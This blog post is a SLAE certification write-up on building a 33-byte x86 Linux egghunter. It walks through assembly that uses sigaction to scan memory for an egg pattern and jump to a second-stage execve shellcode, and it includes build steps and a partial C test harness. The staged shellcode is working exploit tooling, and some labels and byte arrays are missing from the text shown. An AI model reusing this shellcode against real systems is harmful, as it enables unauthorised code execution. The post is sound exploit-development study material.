In the third assignment of the Securitytube Linux Assembly Expert 32-bit certification I had to create a working demo of an egghunter.

The egghunter is a small shellcode which searches the virtual address space for a unique pattern. When the unique pattern is found, it jumps to the instruction next to the pattern and starts to execute it. The egghunter can be used when the place for the shellcode is not enough to contain a shellcode but big enough to contain an egghunter code, and we can put the shellcode into the memory somehow. The egghunter works as a first stage payload and the real shellcode as a second stage payload. The egg (the unique pattern) should be placed right before the real shellcode.

More information on egghunter can be found here and here.


This is my egghunter code.

	or cx,0xfff		    ; page alignment


	inc ecx			    ; increment memory pointer
	jnz not_null		; skip ecx = 0 situation
	inc ecx

	; sigaction, eax = 67, ebx = 0, ecx = memory address to test

	push byte +0x43		;
	pop eax			    ; syscall = 67 (sigaction)
	int 0x80		    ;

	; Check the return value, eax == 0xf2 (EFAULT)

	cmp al,0xf2		    ; did we get an EFAULT?
	jz align_page		; invalid pointer - try with the next page

	; Valid memory, try to find the EGG

	mov eax, 0x50905090	; place the egg in eax
	mov edi, ecx		; address to be validated
	scasd			    ; compare eax / edi and increment edi by 4 bytes
	jnz next_address	; no match - try with the next address
	scasd			    ; first 4 bytes matched, what about the other half?
	jnz next_address	; no match - try with the next address

	; EGG found, execute it

	jmp edi			    ; egg found! jump to our payload


I used the code I found in the paper, however I modified at one point. When the egghunter reaches the 0xffffffff, the next is 0x00000000. At this point I got a segmentation fault. I added code (line 7-8-9) which increments the pointer if the pointer is 0x00000000. This modification added 3 bytes, so that the total length is only 33 bytes.

The egghunter uses the sigaction syscall to check if the virtual address space address is valid. If the virtual address space address is not valid, it moves to the next page. If the virtual address space address is valid, it starts to search the egg. The egg is 0x50905090. This pattern should be repeated before the real shellcode, as the egghunter also contains this pattern and we want to avoid the egghunter to jump into its code instead of the shellcode.

nasm -f elf32 -o shellcode.o shellcode.asm
ld -m elf_i386 -o shellcode shellcode.o
Size of shellcode:
   text	   data	    bss	    dec	    hex	filename
     33	      0	      0	     33	     21	shellcode



I created a test program and copied the egghunter into it. I also added an execve-stack shellcode. The final program:


#define EGG	"\x90\x50\x90\x50"

unsigned char egghunter[] = \

unsigned char shellcode[] = EGG EGG \

	printf("Shellcode Length:  %d\n", strlen(egghunter));
	int (*ret)() = (int(*)()) egghunter;

The shellcode (line 13-14) can be replaced with any other shellcode.


The egghunter in action.




The egghunter in the gdb:

The egghunter first finds its own code. Notice that the memory, pointed by EDI contains the egghunter’s code after the egg pattern.



Next the egghunter finds the first egg pattern. The memory pointed by EDI contains the next egg pattern and the shellcode.



When we find the second egg pattern, the EDI points to our execve-stack shellcode.



*  *  *  *  *

The source code can be found on github:


This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-691